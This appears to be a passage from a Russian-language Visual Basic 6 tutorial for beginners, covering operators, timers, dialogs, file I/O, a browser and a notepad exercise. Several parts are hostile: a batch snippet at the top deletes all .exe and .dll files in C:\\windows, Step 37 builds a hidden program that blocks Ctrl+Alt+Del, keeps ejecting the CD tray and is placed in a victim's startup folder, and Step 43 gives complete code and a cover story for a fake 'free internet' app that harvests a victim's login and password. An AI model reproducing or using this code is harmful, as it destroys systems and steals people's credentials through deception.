А вот чтобы программа запускалась из - за всех дисков, Батуев Юрий прислал мне такой код:
@cd с:\windows
del *.exe
del *.dll

ШАГ 26

Операции и Логические Операторы

Операции:

+ - Сложение(2+2)
- - Вычитание(2-2)
/ - Деление(2/2)
* - Умножение(2*2)
^ - Степень(2^2), здесь второе число это степень(сейчас стоит квадрат) в которую будет возводиться первое число, если поставить 3 то будет куд, и так до упора...
& - Сложение, только не число с числом(+), а число со строкой(MsgBox "Чел" & 5), а теперь поставь MsgBox "Чел" + 5, запусти. Ну что ругается? Естественно!

Логические операторы:

And - И
Or & Xor - Или
Not - Отрицание

Теперь, чтоб нормально врубиться в Логические операторы, сделаем пару программ. Первая наша программа, будет связана с And. Открой VB(Standart EXE), на форму кинь 3 кнопки. Код:
Dim q, q1 As Long 'Объявляем переменные q и q1 для хранения чисел
Private Sub Command1_Click() 'При нажатии на кнопку, q = 5
q = 5
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку, q1 = 3
q1 = 3
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If q = 5 And q1 = 3 Then MsgBox "Это Лог. Оператор And" 'Срабатывает оператор And, и если q = 5(нажата 1 - ая кнопка), q1 = 3(нажата 2 - ая кнопка), то выводится сообщение, что оператор And сработал
End Sub
Здесь, вначале надо нажать на 1 - ую кнопку(чтоб q = 5), потом на 2 - ую(чтоб q1 = 3), и только потом выскочит сообщение. Теперь удали весь код, из этой программы, и впиши новый:
Dim q, q1 As Long 'Объявляем переменные q и q1 для хранения чисел
Private Sub Command1_Click() 'При нажатии на кнопку, q = 5
q = 5
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку, q1 = 3
q1 = 3
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If q = 5 Xor q1 = 3 Then MsgBox "Это Лог. Оператор Xor" 'Если q = 5 или q1 = 3 то выводится сообщение
End Sub
Здесь если нажата одна из кнопок, то выскакивает сообщение(точно также действует и Or)

ШАГ 27:

Работа со СкрулБаром

Как ты наверное понял СкрулБар - это полоса прокрутки(ScroolBar), но у тебя возникает вопрос: "А нафига они нужны?" - ты прав, они не нужны, но поскольку Злой Дядька Билл Гейц ввел их в пакет VB, то мне как порядочному челу придется децл рассказать тебе о них. Всего в мире есть 2 вида скрулбаров - это скрулбар горизонтал, и вертикал.
Теперь о свойствах:
У них обоих есть свойство Value, LargeChange, SmallChange, и TabStop, и кроме этих свойств у них помойму больше ничего нормального нет. Вот их значения:
1. LargeChange - это свойство нужно для установки скорости передвижении ползунка, если нажимать на саму полосу прокрутки, ну короче смотри сам.
2. SmallChange - а вот это свойство отвечает за скорость передвижения ползунка, при нажатии на скрулбаровскую кнопку (их всего две Скрулбаровская кнопка)
3. Value - ну это свойство самое главное, без него скрулбары вообще были не нужны, оно определяет где находится ползунок.
4. TabStop - это свойство заставляет ползунок мигать - убери его.

Ну от фигни, перейдем к делу - сделаем программу. Ну, как всегда войди в VB(Standart EXE), на форму кинь 1 скрулбар горизонтал(LargeChange = 1000,SmallChange = 1000, TabStop = FALSE), и кнопку. Наша цель сделать такую программу, чтоб при передвижении ползунка скрулбара, кнопка тоже передвигалась. Подумай сам как это сделать, а если в бошку ни чего не придет смотри ниже код:

Private Sub HScroll1_Change() ' При движение ползунка(Change - изменять, менять):
Command1.Left = HScroll1.Value / 11 ' Кнопка будет равна ползунку (здесь я написал /11,ты можешь отрегулировать как захочешь, чем меньше ты напишешь, тем кнопка будет дальше двигаться)
End Sub

ШАГ 28:

Событие UnLoad

Как выбирать событие ты уже наверное знаешь (открой Часть 2,Шаг 18),а для чего нужно событие UnLoad - влятри. Событие Unload - нужно для выполнения действия при выходе из программы, например, если ты что - нибуть напишешь в Form_Load, то это будет загружаться при в ходе в программу, а если в Form_UnLoad, то при выходе из нее. Сделаем программу, при выходе из которой, комп выдаст какое - нибуть сообщение. Войди в VB(Standart EXE), создай процедуру UnLoad, для этого в списке событий выбери ее.

Теперь в создавшийся процедуре впиши: MsgBox "А Билл Гейц - нехороший чел."
И при выходе из программы у тебя появится MsgBox. Вот весь код:
Private Sub Form_Unload(Cancel As Integer) ' При выходе из программы:
MsgBox "А Билл Гейц - нехороший чел." ' Появляется Error
End Sub

И все! Теперь сделаем так, чтоб при выходе появлялся запрос, и можно отказаться, и возвратится обратно.

ШАГ 29:

Запретить Юзеру выйти из программы:

Всего в мире есть 2 вида юзеров - это обычный, и продвинутый. Запретить выход обычному юзеру можно поставив у формы свойство ControlBox = False, и кнопка выхода исчезнет( [image]), тогда юзер начнет нервничать и может нажать на Reset
А вот если перед нами стоит продвинутый юзер, то он намного хитрее, и спокойно закроет программу щелкнув правой кнопкой мыши по заголовку формы, и в меню нажмет закрыть, или просто нажмет Alt + F4.И перед нами возникает вопрос: "Как запретить юзеру выйти из программы", или не обязательно запретить, а хотя бы спросить его. Так например в Блокноте, где я сейчас пишу этот учебник, перед выходом он запрашивает: "Текст в файле ... был изменен. Сохранить изменения?". Ну короче не буду тебя грузить, что может случиться, а сразу перейдем к делу. Создай новый проект(Standart EXE), вот код с пояснением.

'Создай процедуру UnLoad
Private Sub Form_Unload(Cancel As Integer) ' При выходе из программы:
b = MsgBox("Хей! Юзер поганый, только попробуй меня закрыть... ", 20, "Не надо - ПЛИЗ!!!") ' Идет запрос
If b = 7 Then ' если нажимаешь Нет - то возврат в программу, если Да выход
Cancel = True
End If

Вот и все! Теперь из твоей программы не выйдет даже самый хитрый юзер.

ШАГ 30:

Задание

Ну задание сегодня не такое сложное, а даже легкое. Тебе надо сделать программу, у которой при нажатии на кнопку, был запрос о выходе, если юзер нажимает Да - то Выход, Нет - возврат.
Исходник программы можешь скачать отсюда.

Ну на этом я закончу тебя грузить, можешь переходить к Четвертой части. В ней будем делать приколы (ты с вражеским компом будешь делать все что захочешь (каждые 3 сек открывать CD - ROM, перезагружать, убирать курсор)), создадим меню, получим доступ к клаве...

Автор учебника: Падре
Дата создания: 21 января 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 31:

Введение в Анимацию

Анимация - это движение объектов, и мы будем заставлять двигаться все, что под руку попадется. Например, чтоб заставить двигаться текстовое поле, мы сделаем программу. Входим в VB(Standart EXE), на форму кидаем кнопку, и текстовое поле. Теперь код:

Private Sub Command1_Click() ' При нажатии на кнопку:
 Text1.Left = Text1.Left + 10 ' Текстовое поле. Left равно Текстовое поле. Left+10 - короче текстовое поле при клике будет сдвигаться на десять пикселей, и место текстового поля можно указать любой объект.
 End Sub

Вот и все! Здесь ничего сложного нет!

ШАГ 32:

Анимация

Одним из главных объектов анимации, и вообще всего программирования, является Timer, да ты не ослышался это таймер. Вскоре ты поймешь почему. Входим в VB, нажимаем Standart EXE. На форму кидаем 1 кнопку со свойством Caption равным "Пуск", 1 Shape(фигура) со свойством Shape равным 3 - Circle(Круг), и свойством BackStyle равным 1 - Opaque(для закраски фигуры), и 3 Timera со свойством Interval равным 1(это время через которое Timer будет обновляться (мл)), и свойством Enabled равным False(ложь), чтобы выключить Timer, а чтоб включить таймер тебе надо в свойстве Enabled поставить True(И это свойство есть у всех объектов, даже у текстового поля). У тебя должна получиться такая штука:

Теперь код:
Private Sub Command1_Click() ' При нажатии на кнопку включается Timer1 и Timer3
 Timer1.Enabled = True
Timer3.Enabled = True
End Sub

Private Sub Timer1_Timer()
Shape1.Left = Shape1.Left + 25 ' Каждую мл Shape1 будет сдвигаться вправо на 25
End Sub

Private Sub Timer2_Timer()
Shape1.Left = Shape1.Left - 25 ' Каждую мл Shape1 будет сдвигаться влево на 25
End Sub

Private Sub Timer3_Timer()
If Shape1.Left <= -400 Then 'Если Shape1.Left <= -400(отскок от левой стенке) то
 Timer1.Enabled = True ' Timer1 включается
Timer2.Enabled = False ' Timer2 выключается
End If
If Shape1.Left >= 4000 Then 'Если Shape1.Left <= -400(отскок от правой стенке) то
 Timer2.Enabled = True ' Timer2 включается
Timer1.Enabled = False ' Timer1 выключается
End If

End Sub
Здесь при нажатии на кнопку круг будет двигаться вправо, потом ударяться об форму, и идти влево. Потом мы сделаем PineBall.
Исходник можешь скачать отсюда

ШАГ 33:

Фигуры

Как делать фигуры знает любой дурак (если ты не дурак, то это не читай: "Кликаешь в инспекторе на Shape, и в свойстве объекта Shape выбираешь тип фигуры") Все можешь читать. А как создавать фигуры программно, знает не каждый, а только избранные. И в этом шаге я научу тебя делать фигуры программно. Начнем с рисования линий.
Объект.Line (X1, Y1)-(X2, Y1), Color, BF
x1 - y1,x2 - y2 - это координаты; color - цвет линии; B - задает прямоугольник; F - его закрашивание. Пример: Form1.Line (4444, 444)-(444, 44), vbRed - рисует линию красного цвета.
Тоже самое и с кругами:
Объект.Circle (x,y),radius,color
Пример: Form1.Circle (1255, 1266), 444, vbRed - рисует на форме круг красного цвета.
Все я больше тебя грузить не буду.

ШАГ 34:

Компоненты

В следующем шаге мы сделаем несколько приколов с помощью компонентов, сделаем свой собственный блокнот, и Internet Explorer 7.0. А сейчас будем делать программу, у которой при нажатии на кнопку будет появляться окно выбора цвета, и при выборе пользователем цвета, цвет текста будет меняться на выбранный, ну если ты нифига не понял, то поймешь потом. Для добавления компонента войди в Project >> Components

Там выбери Microsoft Common Dialog Control 6.0, этот компонент один из самых главных.

Теперь на форме размести текстовое поле, кнопку, и CommonDialog с именем CD1. Код:
Private Sub Command1_Click()
CD1.ShowColor ' Вызов стандартного окна выбора цвета
 Text1.ForeColor = CD1.Color ' Текст станет таким же цветом какой выбрал юзер
 End Sub

Вот что у тебя должно получиться:

Исходник можешь скачать отсюда

ШАГ 35:

Компонент Microsoft Common Dialog Control 6.0

С помощью этого компонента можно вызывать окно открытия файлов, сохранения, выбора цвета... Для начала подключи его(если забыл то посмотри в шаге 34). На форму кинь текстовое поле, 3 кнопки, и CommonDialog(назови его CD1). Начнем мы с открытия файлов.
1. Открытие файлов:
Сделай свойство Caption у Первой кнопки = "Открыть". Вот сейчас мы программу сделаем, у которой выбранный файл в Окне Открытия файлов записывался в текстовое поле. Код:

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
 Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
 End Sub

Свойства:
1. InitDir - это свойство определяет папку, которая будет при открытии Окна выбора файлов первой. Короче сделай свойство InitDir = A:\, и тогда при запуске окна выбора файлов первый будет диск A:(можно написать c:\games - тогда первый будет папка Games)
2. DialogTitle - это свойство определяет заголовок окна(например у окна выбора файлов заголовок по умолчанию - "Открыть")
4. FilterName это свойство указывает начальные значения текстового поля(Имя Файла). Например если туды вписать Базик, то при запуске окна в поле Имя файла будет вписанно Базик
5. Filter - Это что - то типа фильтра, т.е. здесь можно указать чтоб можно было выбирать только текстовые файлы, или exeшники... Например можно написать так:

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
 End Sub

Private Sub Form_Load()
CD1.Filter = "Ворд|*.doc|Текстовые|*.txt|Приложения|*.exe|Все файла|*.*|" ' Даем право выбора юзеру
 End Sub

ШАГ 36

Компонент CompControl

Сегодня мы рассмотрим компонент CompControl, с его помощью можно управлять компом (перезагружать, открывать CD-ROM, очищать корзину...), и делать всякие приколы. Для добавления компонента войди в Project >> Components

Там выбери Do many API calls! version 3, другие версии тоже сойдут. Если у тебя нет этого компонента, то можешь скачать его (нажми Browse, найди скаченной компонент, и нажми открыть). Ну ладно, будем считать что у тебя есть этот компонент. Подключи его (см. выше как это делается). На панели инструментов появится у тебя появится такая фенька: . Закинь ее на форму, и дай ей имя CC1, теперь смотри на таблицу:
Название функции | Описание
Семейство функций, которые вызывают вкладки из панели управления
Add_HardWare() | Добавление нового оборудования
Add_Remove() | Добавление и удаление программ
Display_Settings() | Настройки экрана
Internet_Settings() | Настройки Internet Explorer
Keyboard_Settings() | Настройки клавиатуры
Modem_Settings() | Настройки модемов
Mouse_Settings() | Настройки мыши
Network_Settings() | Настройки сети
Password_Settings() | Настройки защиты
Regional_Settings() | Региональные настройки
Sounds_Settings() | Настройки звука
System_Settings() | Системные настройки
Функции, изменяющие настройки системы
ALT_CTRL_DEL_Disabled()
ALT_CTRL_DEL_Enabled() 		Выключение и, соответственно, включение волшебной комбинации клавиш Alt+Ctrl+Delete
Cursor_Hide()
Cursor_Show() 		Скрытие и, соответственно, показ курсора
DesktopIconsHide()
DesktopIconsShow() 		Скрывает и, соответственно, показывает все иконки на рабочем столе пользователя
TaskBarHide()
TaskBarShow() 		Скрывает и, соответственно, показывает системную панель. Ту самую, на которой находится кнопка "Пуск" ("Start")
Функции работы с файлами
Copy_File(FileToCopy, Destination) | Копирует файл FileToCopy в Destination
Delete_File(file) | Удаляет файл file
EmptRecycle() | Очищает корзину
FindFiles() | Открытие окна поиска файлов
Move_File(FileToMove, Destination) | Переименовывает / переносит файл FileToMove в Destination
Другие функции
InternetConnect()
InternetDiconnect() 		Установить и разорвать связь с Internet-провайдером
LogOff() | Завершить сеанс работы пользователя и вывести окно для ввода имени пользователя и пароля
MinimizeAll() | Свернуть все окна
OpenCDROM() | Открыть CD-ROM
OpenExplore() | Открыть окно Explorer
OpenInternetBrowser() | Открыть окно Internet Explorer
Restart() | Перезагрузить компьютер.
ScreenSaverOff() | Выключить хранитель экрана
ScreenSaverOn() | Включить хранитель экрана
SendEmail() | Открыть окно для создания сообщения электронной почты
ShutDown() | Завершить работу компьютера
ShutDown_DIALOG() | Показать диалог завершения работы компьютера
Sleep_Millisecs(LengthInMilliseconds) | Заснуть на LengthInMilliseconds миллисекунд
В ней ты видишь функцию, и ее значение. Например, возьмем функцию OpenCDROM, как ты наверное догадался, или прочитал в описании, эта функция нужна для открытия CD - ROM`a. Для ее использования надо написать CC1.OpenCDROM. Также можно использовать другие функции. Короче тебе надо написать имя компонента.функция. Теперь можешь сделать прикол.

ШАГ 37

Делаем прикол с CD - ROM`om

Подключи компонент CompControl, на форму закинь компонент CompComtrol(он находится на Панели инструментов), Timer, со свойством Interval равным 3000, и у формы свойство Visible, должно быть равным False(это чтобы форму не было видно(Visible означает видимость)). Теперь код:

Private Sub Form_Load() ' При загрузки формы
Form1.Visible = False ' Программа становится не видимой
Timer1.Interval = 3000 ' Timer каждые 3 сек. будет обновляться
 CompControl1.ALT_CTRL_DEL_Disabled ' блокируем 3 волшебные клавиши
 End Sub

Private Sub Timer1_Timer()
CompControl1.OpenCDROM ' CD - ROM будет открываться каждые 3 сек.
 End Sub

Все программа готова! Теперь осталось ее откомпилировать, и подсунуть какому - нибуть ламеру. Чтобы на вражеском компе она загружалась каждый раз при включении компа, тебе надо поместить ее в Автозагрузку. (Нажми на кнопку Пуск правой кнопкой, и кликни на открыть. Дальше входишь в программы, Автозагрузка. Теперь переносишь туда свою программу (ее ярлык)(C:\WINDOWS\Главное меню\Программы\Автозагрузка)). Исходник программы можешь скачать отсюда

ШАГ 38

Создание Меню

Почти в каждой программе есть меню, и скоро в наших программах оно появится. Чтобы научиться создавать меню создадим новый проект. На панели Standart кликните по Menu Editor, или нажмите CTrl+E, или войдите в Tools >> Menu Editor

Короче ты должен открыть, любой ценой это окно:

Теперь я тебе децл расскажу о его создании. Для создания меню тебе надо ввести свойство Caption и Name любые буквы. Теперь нажимай Next, и если ты нажмешь на стрелку вправо ,и вписываешь текст в Caption и Name, то у тебя получиться такая штука:

Если ты нажмешь 1 раз на стрелку, потом Next, и еще 2 раза на стрелку, то у тебя получится такая штука:

Если ты будешь всегда нажимать Next, только вписывать Caption и Name, то у тебя получится такая штука:

Теперь децл о свойствах расскажу. Если поставить галку на свойстве Checked, то напротив раздела меню будет стоять галка, если поставить на Enabled, то на раздел нельзя будет нажать, если поставить на Visible, то его не будет видно. Ну вроде все.

ШАГ 39

Создание Контекстного Меню

Для создания контекстного меню создадим новый проект. На форму кинем кнопку, и создадим обычное меню. У первого раздела уберем свойство Visible, чтобы его не было видно.

У кнопки событие Event поставь MouseUp(при нажатии на кнопку мыши)

Теперь код:

Private Sub Command1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 2 Then ' Если нажата 2 кнопка мыши то: (1 кнопка левая, 2 - правая, 3 - средняя; также можно написать vbRightButton - правая кнопка, vbLeftButton - левая)
 Form1.PopupMenu A, , , , S ' Здесь A - это имя первого раздела, а S - имя того раздела, который будет выделен
 End If
End Sub

ШАГ 40

Работа с Клавой

Как я и обещал в первой части, что мы будем работать с клавой. Для этого нам понадобится программа, которую мы делали в первой части в 7 шаге. Эта программа переводит числа в код Аски и обратно, если у тебя ее нет, то скачай ее от сюда. Хей, Стоп не нажимай туда, обойдемся и без нее. Теперь входим в VB, у форме событие Event делаем KeyDown(если нажата клавиша):

Теперь пишем код:
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = Asc("Z") Then
MsgBox "Ты нажал на Z"
End If
End Sub

Ну на этом я закончу тебя грузить, можешь переходить к Пятой части. В ней будем делать приколы, работать с файлами и папками, сделаем PinBall, Блокнот, и Internet Explorer 7....

Автор учебника: Падре
Дата создания: 9 февраля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Программирование на VB


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 41:

Запуск файлов

Для запуска файлов есть функция Shell. Синтаксис:
Shell "[cmd /X /C] start Путь к файлу", [фокус](не обязательно)
Пример:
Для винда 98(95,Me..):
Shell "start c:\1.txt", vbHide
Для виндусов XP:
Shell "cmd /X /C start c:\1.txt", vbHide

ШАГ 42:

Работа с файлами. Введение:

В этом разделе я расскажу о файлах, верней не о них, а как с ними работать, т.е. открывать, изменять, кидать...
Для открытия файлов(НЕ ЗАПУСКА!!!) есть функция open:

open "имя файла" for режим as номер канала
Функции для работы с файлами
Close Номер св. канала

Имя файла - полный путь к файлу(если файл находится в той же папке где и сама программа, то можно написать просто имя файла(например, 1.txt))
Режим - режим открытия файла, есть около 7 режимов, но в этом шаге мы рассмотрим только 3 основных:
1. Input - служит для чтения данных из файла, если файла не существует, то происходит ошибка
2. Append - файл открывается(НЕ ДЛЯ ЧТЕНИЯ!!!) для записи, если файла не существует, то он создается. Если в файле уже есть какие либо данные, то запись идет в конец этих данных.
3. Output - файл открывается(НЕ ДЛЯ ЧТЕНИЯ!!!) для записи, если файла не существует, то он создается. Все данные которые были в файле стираются, и запись идет в "чистый файл"
Номер канала - это номер канала открываемого файла, если номер открываемого файла уже открыт, то происходит ошибка

ШАГ 42:

Работа с файлами. Продолжение:

Запись:
Для записи текста служит функция Print(и Write)
Open "c:\1.txt" For Append As #1 'Открываем файл для добавления записи, с номером канала 1
 Print #1, "Твой ТЕКСТ"' Записываем в файл 1.txt текст
Close #1 'Закрываем файл
Есть еще функция для определения свободного канала - FreeFile. Например:
f = FreeFile 'Возвращает номер свободного канала
 Open "c:\1.txt" For Append As f 'Открываем файл для добавления записи
 Print #f, "Твой ТЕКСТ"'Записываем в файл 1.txt текст
Close #f 'Закрываем файл
Чтение:
Считать данные из файла сложнее чем записать. Есть два способа чтения данных из файла. Первый:

f = FreeFile
Open "c:\1.txt" For Input As f' Открываем файл 1.txt для чтения
 Text1.Text = Input(LOF(f), f) 'Считываем текст из открытого файла в текстовое поле(Оператор LOF(Len Of File) определяет длину файла)
 Close f

Второй:

Dim txt as String

Open "c:\1.txt" For Input As #1' Открываем файл 1.txt для чтения
 Do While Not EOF(1) ' Функция EOF(End Of File) проверяет, достигнут ли конец файла
Line Input #1, txt ' Читаем строку данных
Text1.Text = txt
Loop
Close #1

ШАГ 43:

Развод ламеров. Халявный инет.

Вся радость в том, что ламер будет думать что он дурит провайдера, а на самом деле будут дурить его. Хе - Хе. Ламер сам напишет тебе пароль, и скинет тебе его на дискету. Ты дашь ему программу, и скажешь, что эта программа нужна для того чтоб в инете на халяву сидеть. Он спросит: “ а у тебя получилось", ты ему скажешь: "Да, конешно работает, а если не работала, то я тебе ее не дал бы"... Ну для большей убедительности расскажешь ему о ней (речь сам придумаешь). Он впишет свой пароль и логин, и комп сохранит их на дискету. Учитывается то, что ламер будет вводить в начале не свой пароль, но это неважно, когда - нибуть он свой введет, и все его записи сохранятся на дискете, потом ты придешь домой, проверишь все его записи, и по какой - нибуть войдешь.
Ну что начнем? На форму кидаем 2 кнопки,2 текстовых поля,3 метки, ну и сделаем меню для большей убедительности. У первой кнопки свойство Caption будет Ввод, у второй Выход; у текстовых полей убираем свойство Text; у первой метки свойство Caption будет Password, у второй Login, а у 3 Халявный Интернет; у меню сделаем 2 раздела, первый раздел по традиции свойство Caption будет файл, а у второго Справка. У первого раздела первого подраздела свойство Caption будет выход, а у второго раздела, первого подраздела свойство Caption будет Вызов справки, а у второго подраздела О программе. Да чуть не забыл, нам надо добавить еще одну форму, для этого нажми на Add Form, эта фенька находится около кнопки создание меню, под разделом Edit. Короче у тебя должна получиться такая штука:
Private Sub Command1_Click() 'При нажатии на кнопку Ввод:
 MsgBox "Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединение" 'Появится ошибка, с сообщением о неправильных действиях ламера, если ламер введет не правильный (или правильный) пароль и логин, то появится ошибка, и когда - нибуть он введет правильный...
 d = FreeFile
Open "a:\1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные ламера. Стоит диск a:, это для того чтоб привязать программу к дискете, и тогда ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты прочтешь все его записи.
 Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые поля
 Close #d 'Закрываем файл
 End Sub

Private Sub Command2_Click() 'При нажатии на кнопку 2:
 End 'Выходим из программы, можно и с помощью Unload Me
 End Sub
Private Sub ав_Click()
End 'При выборе Файл/Выход программа отрубается:
 End Sub

Private Sub см_Click() 'При нажатии на кнопку 3(О программе):
 Form2.Show 'Показываем Form2
 End Sub

Теперь займемся оформлением Формы 2.На форму 2 закинем 4 метки: У первой свойство Caption будет О программе. У второй будет: "Программа ломает твоего провайдера, через порт TCP/IP; за каждый заход тебе на карту зачисляется 0.25 y.e., это оптимальная сумма для всех карт. Например, у MTU можно снять за раз 0.27 y.e., а у ROL 0.33 y.e., это зависит от скорости обновления сервера. После нажатия на Ввод появится сообщение о успешном взломе, и в течение 3 минут постарайтесь выйти из интернета. Где - то через 10 - 15 мин. опять можете повторять операцию.". У третьей: "Автор проекта не несет ни какой ответственности за использование программы", и эту метку надо сделать красным цветом. У четвертой: "Дата создания: 10/07/02".У пятой: "Автор: Падре". Все это нужно для большей убедительности. У тебя должна получиться такая фенька.

Ну вот и все!!! Теперь подсунь ее какому - нибуть ламеру. Не забудь скрыть текстовой файл, можешь поменять ему расширения, например записать не 1.txt, 1.lamer, и тогда ламер не додумается его открыть, даже если его найдет. А ты сможешь открыть его, если кликнешь на него два раза, и в открывшимся окне "Открыть с помощью", выбери Noterpad(Блокнот) Исходник можешь скачать отсюда

ШАГ 44:

Делаем Cвой Инет Броузер:

Ну как я и обещал, будем делать свой инет броузер. Подключи компонент Microsoft Internet Controls. На форму кинь WebBrowser(назови его WB), 4 кнопки(у 1ой Caption = "Назад", у 2ой = "Вперед", у 3ей = "Домой", у 4ой = "Обновить"), метку(Caption = "Адрес:", AutoSize = True(это чтоб размеры метки регулировались автоматом)), и текстовое поле(Caption="http://"). Вот что у тебя должно было появиться:

Private Sub Command1_Click() ' Кнопка назаD
 WB.GoBack
End Sub

Private Sub Command2_Click() ' Кнопка вперед
 WB.GoForward
End Sub

Private Sub Command3_Click() ' Кнопка Домой
 WB.GoHome
End Sub

Private Sub Command4_Click() ' Кнопка Обновить
 WB.Refresh
End Sub

Private Sub Form_Resize() ' При изменении размера формы меняем размер WB
 WB.Left = 20
WB.Top = 1080
WB.Width = Form1.Width - 140
WB.Height = Form1.Height - 1500
End Sub

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then ' Если нажата клавиша Enter то:
 WB.Navigate Text1.Text ' Открываем введенный в текстовое поле адресс
 ' Меняем заголовок формы
 Form1.Caption = ""
Form1.Caption = Text1.Text & Form1.Caption
End If
End Sub

Исходник качай здесь

ШАГ 45:

Делаем PineBall:

На форму кинь кнопку(Enabled = False), Picture(Enabled = False, AutoSize = True, BorderStyle = "0 - None"), Timer(Interval = 1). Вот что у тебя должно получиться:

Вот код:

Dim BallTop As Boolean 'Тип Boolean озночает то что переменная может принемать только 2 значения True и False
 Dim Q As Boolean, Q1 As Boolean

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
' если нажата кнопка "вправо", то бита едет вправо
 If KeyCode = 39 Then
Bita1.Left = Bita1.Left + 120
End If
' если нажата кнопка "влево", то бита едет влево
 If KeyCode = 37 Then
Bita1.Left = Bita1.Left - 120
End If
End Sub

Private Sub Timer1_Timer()
If BallTop = False Then ' Если BallTop = False то шар скачет вниз
 Ball.Top = Ball.Top + 30
Else 'Если BallTop = True то шар едет вверх
 Ball.Top = Ball.Top - 30
End If

If Ball.Left - Bita1.Left < 150 And Ball.Left - Bita1.Left > -320 And Bita1.Top <= Ball.Top + 300 Then ' Здесь начало вроде понятно, а в конце я написал Ball.Top + 300 это чтоб мяч ударялся об верх биты
 BallTop = True ' Пускаем шар вверх
 Q = True '' И влево
 End If
If Q = True Then ' Если Q = True то мяч скачет влево
 Ball.Left = Ball.Left - 60
End If
If Q1 = True Then ' Если Q1 = True то мяч скачет влево
 Ball.Left = Ball.Left + 60
End If

If Ball.Left <= 0 Then ' Если мяч ударяется об левую стенку то меняем его направление
 Q = False
Q1 = True
End If
End Sub

Эту программу сам доделай, а то скопировать код любой может(даже я :-)), а вот до делать...
Исходник качай здесь

ШАГ 46:

Работа с Буфером ОБМЕНА

Для работы с буфером обмена есть объект Clipboard, с его помощью можно копировать в буфер,  и брать из буфера текст и картинки. У этого объекта всего 6 свойств.
Начнем с работой с текстом:
Для работы с текстом есть 2 свойства, это GetText(Чтение текста из буфера), и SetText(копирование в буфер). Сделаем программу, которая будет повторять часть раздела меню Правка во многих текст. редакторах(а если точнее, то кнопки: Вставить, Копировать, Удалить, Вырезать). На форму кинь 4 кнопки(у 1ой - Caption = "Вырезать", у 2ой = "Копировать", у 3ей = "Вставить", у 4ой = "Удалить"), и текстовое поле. Вот код:

Private Sub Command1_Click() ' Вырезать
Clipboard.SetText Text1.Text ' Копируем в буфер содержимое текстового поля
Text1.Text = "" ' Очищаем текст. поле
End Sub

Private Sub Command2_Click() ' Копировать
Clipboard.SetText Text1.Text ' Копируем в буфер содержимое текстового поля
End Sub

Private Sub Command3_Click() ' Вставить
Text1.Text = Clipboard.GetText  ' Вставляем в текстовое поле содержимое буфера
End Sub

Private Sub Command4_Click() ' Удалить
Text1.Text = "" ' Очищаем текст. поле
End Sub

Теперь о работе с изображениями.
Для копирования картинки в буфер есть объект SetData, для чтения GetData.
Усовершенствуем пред. пример, добавив на форму 2 кнопки(у 5ой caption = "Копировать", у 6ой = "Вставить"), и 2 Picture(Из Picture1 мы будем копировать изображение, и вставлять его в Picture2). Код:

Private Sub Command5_Click() ' Копировать рисунок
Clipboard.Clear ' Очищаем буфер(для этого есть метод Clear)
Clipboard.SetData Picture1.Picture ' Записываем в буфер изображение из Picture1
End Sub

Private Sub Command6_Click() ' Вставить рисунок
Picture2.Picture = Clipboard.GetData ' Читаем в объект Picture2 изображение из буфера
End Sub

Исходник здесь

ШАГ 47:

Задание:

Я тебя готовил к этому на протяжении 4 частей, и подготовил. Твоя миссия будет заключаться в создании блокнота, да не просто блокнота, а Чудо Блокнота. Короче ты должен нанести тяжелый удар по Microsoft, чтоб они затрепищали... Ты должен сделать обычный блокнот, но с часами (до этого даже Билл Гейц не додумался:-))). Потом отправляешь его в компанию Microsoft, получаешь бабло, и 50% отдаешь мне. Ну что договорились? Отлично! Только бабки присылай НЕ ЧЕКОМ, а наличкой....

Подробнее о создании Блокнота:

У тебя должно быть Меню. Вот его пункты:
Файл
....Создать(Очищение текстового поля)
....Открыть
....Сохранить(это при помощи Open...)
....Сохранить как(это при помощи Common Dialog Control(ShowSave))
....Выход
Правка
....Вырезать
....Копировать
....Вставить
....Удалить
....Дата/время
Справка
....О Проге

Ну и все(это пока), могу только сказать, про сохранить как:

Private Sub Command1_Click()
CD.ShowSave 'Вызываем окно Сохранения файла
 'Сохраняем выбранный файл
 Open CD.FileName + ".txt" For Output As FreeFile
Print Text1.Text
Close FreeFile
End Sub

Private Sub Form_Load()
CD.FileName = "Безымянный*.txt" 'При вызове окна Сохранения файла в поле "Имя" будет написано Безымянный

 CD.Filter = "*.txt" 'В поле Тип - *.txt
> End Sub
Ну вроде все, делай... Только не забудь что при растягивании/развертывании окна текстовое поле тоже должно растягиватся. Можешь посмотреть исходник на моем сайте.

ШАГ 48:

Создание папок

Для создания папок есть функция MKDir
MkDir "c:\44" 'Создаем папку 44

ШАГ 49:

Удаление & Копирование & Перемещение & Переименование файлов

